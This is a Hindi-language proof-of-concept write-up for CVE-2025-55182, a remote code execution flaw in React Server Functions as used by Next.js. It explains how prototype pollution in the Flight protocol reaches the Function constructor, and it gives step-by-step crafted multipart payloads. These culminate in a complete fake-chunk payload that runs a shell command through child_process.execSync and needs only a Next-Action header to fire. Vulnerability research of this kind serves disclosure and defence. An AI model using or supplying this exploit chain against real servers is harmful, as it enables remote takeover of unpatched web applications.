
CVE-2025-55182 के लिए PoC एक्सप्लॉइट, जो प्रोटोटाइप प्रदूषण और एक क्राफ्टेड Flight Protocol पेलोड के माध्यम से React Server Functions में रिमोट कोड एक्ज़ीक्यूशन का प्रदर्शन करता है।
यह भेद्यता React सर्वर फ़ंक्शन्स (Server Functions) में RCE (रिमोट कोड एक्ज़ीक्यूशन) की अनुमति देती है, जैसे कि Next.js द्वारा असुरक्षित प्रोटोटाइप संदर्भों के माध्यम से प्रदान किए जाते हैं।
मैं React या Next.js का विशेषज्ञ नहीं हूँ, इसलिए यहाँ दी गई सभी जानकारी को संदेह की दृष्टि से लें।
React सर्वर फ़ंक्शन्स[^1] प्रदान करता है, जिन्हें एक प्रकार का RPC-over-HTTP माना जा सकता है। इनका उपयोग निकटवर्ती पीयर्स से डेटा प्राप्त करने के लिए किया जा सकता है ताकि कम विलंबता सुनिश्चित हो, या प्रमाणित अनुरोध करने के लिए जिनके लिए क्लाइंट के पास क्रेडेंशियल्स नहीं होते।
React सर्वर फ़ंक्शन्स को भेजे गए मानों के क्रमांकन (serialization) के लिए React फ़्लाइट प्रोटोकॉल[^2] नामक चीज़ का उपयोग करता है।
क्लाइंट सर्वर को "chunks" भेजता है, उदाहरण के लिए फ़ॉर्म डेटा के माध्यम से:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
जैसा दिखाया गया है, इनमें एक-दूसरे के बीच संदर्भ हो सकते हैं। उपरोक्त पेलोड सर्वर पर निम्न प्रकार डी-सीरियलाइज़ होता है:
{ object: 'fruit', name: 'cherry' }
यह प्रारूप स्वयं थोड़ा अधिक जटिल है और अधिक जटिल क्रमांकन एवं डी-क्रमांकन की अनुमति देता है, लेकिन यह वास्तविक भेद्यता के लिए एक बुनियादी समझ प्रदान करता है।
इस कमिट[^3] तक, संदर्भ समाधान में chunks को ट्रैवर्स करते समय, जैसे उपरोक्त उदाहरण में chunk 2 से fruitName प्राप्त करना, React यह सत्यापित नहीं करता था कि अनुरोधित कुंजी वास्तव में ऑब्जेक्ट पर सेट है या नहीं। इससे हमें ऑब्जेक्ट का प्रोटोटाइप[^4] प्राप्त करने की अनुमति मिली।
इसे इस प्रकार के पेलोड के साथ प्रदर्शित किया जा सकता है:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
जो फ़ंक्शन कंस्ट्रक्टर[^5] में डी-सीरियलाइज़ होता है:
[Function: Function]
जब ID 0 वाला chunk एक ऐरे नहीं बल्कि ऑब्जेक्ट होता है, तो हम then कुंजी को फ़ंक्शन कंस्ट्रक्टर पर सेट कर सकते हैं। उसके बाद ऑब्जेक्ट को decodeReplyFromBusboy फ़ंक्शन द्वारा वापस लौटाया जाता है और Next.js द्वारा awaited किया जाता है:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
जब यह एक thenable लौटाता है, तो कॉलर में await इसे कॉल करेगा। इसी पेलोड के साथ ऐसा होता है:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
जिससे यह त्रुटि उत्पन्न होती है:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
त्रुटि ऐसी दिखती है क्योंकि V8 एक await किए गए फ़ंक्शन को आंतरिक resolve और reject फ़ंक्शन्स के साथ कॉल करता है, जो toString किए जाने पर कुछ इस प्रकार क्रमांकित होते हैं:
function () { [native code] }
चूंकि हम आसानी से Function कंस्ट्रक्टर प्राप्त कर सकते हैं, सीधा रास्ता एक ऐसा कॉल गैजेट खोजना है जो कंस्ट्रक्टर को उपयोगकर्ता-नियंत्रित मान (अर्थात फ़ंक्शन का कोड एक स्ट्रिंग के रूप में) के साथ आमंत्रित करे, और बाद में लौटाए गए फ़ंक्शन को कॉल करे।
ऐसे कई स्थान हैं जो फ़ंक्शन कंस्ट्रक्टर को कॉल कर सकते हैं, उदाहरण के लिए resolveServerReference, जहाँ id एक नियंत्रित ऑब्जेक्ट है, और lastIndexOf को उपयोगकर्ता-नियंत्रित स्ट्रिंग लौटाने के लिए ओवरराइट किया जा सकता है (जैसे Array.prototype.join के माध्यम से) और slice को फ़ंक्शन कंस्ट्रक्टर पर ओवरराइट किया जा सकता है। हालाँकि, यह स्थान काम नहीं करता क्योंकि .slice() का दूसरा आह्वान पहले तर्क के रूप में एक संख्या प्रदान करता है, जिसे — मेरी सर्वोत्तम जानकारी के अनुसार — फ़ंक्शन कंस्ट्रक्टर कभी संभाल नहीं सकता।
यहाँ maple3142[^6] का एक शानदार विचार काम आता है। जब getChunk संदर्भ श्रृंखला को हल करना शुरू करने के लिए ID 0 वाले chunk को रूट संदर्भ के रूप में लेता है, यही chunk एक निर्मित "नकली chunk" में हल हो सकता है।
हम $@ सिंटैक्स का उपयोग करके chunk 1 में निर्मित chunk 0 का संदर्भ दे सकते हैं, जो "कच्चा" chunk लौटाता है, न कि उसका हल किया गया मान:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
इसे उपरोक्त अपने then ओवरराइट के साथ मिलाकर, हम कुछ इस प्रकार निर्मित कर सकते हैं:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
यहाँ, chunk 0 अपने स्वयं के कच्चे chunk प्रतिनिधित्व के .then() के साथ अपने .then() को ओवरराइट करता है। सीधे शब्दों में, हम अपने .then() को Chunk.prototype.then के साथ ओवरराइट करते हैं, जो मौजूद है, क्योंकि Chunks thenable हैं:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
उपरोक्त पेलोड के साथ, Chunk.prototype.then अंततः ID 0 वाले निर्मित chunk के साथ कॉल किया जाता है।
जैसा ऊपर दिखाया गया है, जब हमारे नकली chunk पर .status resolved_model होता है:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
हम initializeModelChunk में पहुँचते हैं। यहाँ, .value को JSON के रूप में पार्स किया जाता है, और फिर लौटाए गए ऑब्जेक्ट पर संदर्भों को हल किया जाता है, जिसमें ID 0 और 1 वाले हमारे chunks का "बाहरी" संदर्भ उपयोग होता है:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
इसके भीतर, अब हमें मूल्यांकन का एक दूसरा दौर मिलता है, जिसमें हमारे पास कुछ अधिक मानों तक पहुँच होती है, क्योंकि बाहरी संदर्भ पहले ही हल हो चुका होता है।
फ़्लाइट प्रोटोकॉल में $B उपसर्ग के साथ ब्लॉब डेटा के प्रबंधन में एक कॉल गैजेट है:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
विशेष _response फ़ील्ड का उपयोग करके, हम निर्मित chunk के response गुण को नियंत्रित करते हैं:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
इसके साथ, हम नकली ._formData और ._prefix गुणों वाला एक ऑब्जेक्ट निर्मित कर सकते हैं:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
initializeModelChunk में toString आह्वान पर विफल होने से बचने के लिए .reason को जोड़ना आवश्यक है:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
._formData को फ़ंक्शन कंस्ट्रक्टर की ओर और ._prefix को अपने कोड की ओर इंगित करके, हमें ब्लॉब डी-क्रमांकन में फ़ंक्शन कंस्ट्रक्टर के लिए एक आह्वान गैजेट मिलता है:
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")
हमारा निर्मित फ़ंक्शन तब parseModelString द्वारा निर्मित chunk की .then() विधि के रूप में लौटाया जाता है, जिसे भी awaited किया जाता है, क्योंकि यह सब एक ही प्रॉमिस रिज़ॉल्विंग चेन में होता है। इस प्रकार, एक thenable लौटाने पर, हमारा निर्मित फ़ंक्शन कॉल हो जाता है। यह ऊपर संदर्भित आवश्यक कॉल गैजेट का निर्माण करता है।
इसे सब एक वास्तविक RCE पेलोड के साथ जोड़कर, हमें कुछ इस प्रकार मिलता है:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
अतिरिक्त लाभ, जो इस भेद्यता को और भी गंभीर बनाता है, यह है कि यह सब डी-क्रमांकन के दौरान होता है, इससे पहले कि अनुरोधित एक्शन को getActionModIdOrError में पहली बार मान्य किया जाए। इस प्रकार, Next-Action: foo जैसा हेडर सेट करना भेद्यता को ट्रिगर करने के लिए पर्याप्त है।